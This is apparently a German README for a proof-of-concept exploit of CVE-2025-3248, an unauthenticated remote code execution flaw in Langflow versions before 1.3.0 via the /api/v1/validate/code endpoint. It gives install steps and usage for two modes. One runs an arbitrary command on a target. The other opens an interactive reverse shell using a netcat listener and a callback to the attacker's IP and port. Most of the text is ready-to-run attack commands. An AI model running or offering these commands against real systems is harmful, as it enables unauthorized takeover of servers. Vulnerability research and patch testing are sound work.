
PoC für CVE-2025-3248: unauthentifizierte RCE in Langflow < 1.3.0 über /api/v1/validate/code.
Ein Proof-of-Concept-Exploit, der eine Remote-Codeausführung-Schwachstelle im Codevalidierungs-Endpunkt von Langflow demonstriert. Diese Schwachstelle betrifft Langflow-Versionen vor 1.3.0 und ermöglicht nicht authentifizierten Angreifern, beliebigen Code über manipulierte HTTP-Anfragen auszuführen.
/api/v1/validate/coderequestscoloramagit clone https://github.com/preemware/langflow-exploit
cd langflow-exploit
pip install requests colorama
Der Exploit unterstützt zwei Betriebsmodi:
Führt einen einzelnen Befehl auf dem Zielsystem aus:
python3 cve-2025-3248.py cmd <target_url> "<command>"
Beispiel:
python3 cve-2025-3248.py cmd http://target:7860 "id"
Erzeugt eine interaktive Reverse-Shell:
nc -lvnp 4444
python3 cve-2025-3248.py shell <target_url> <your_ip> <your_port>
Beispiel:
python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444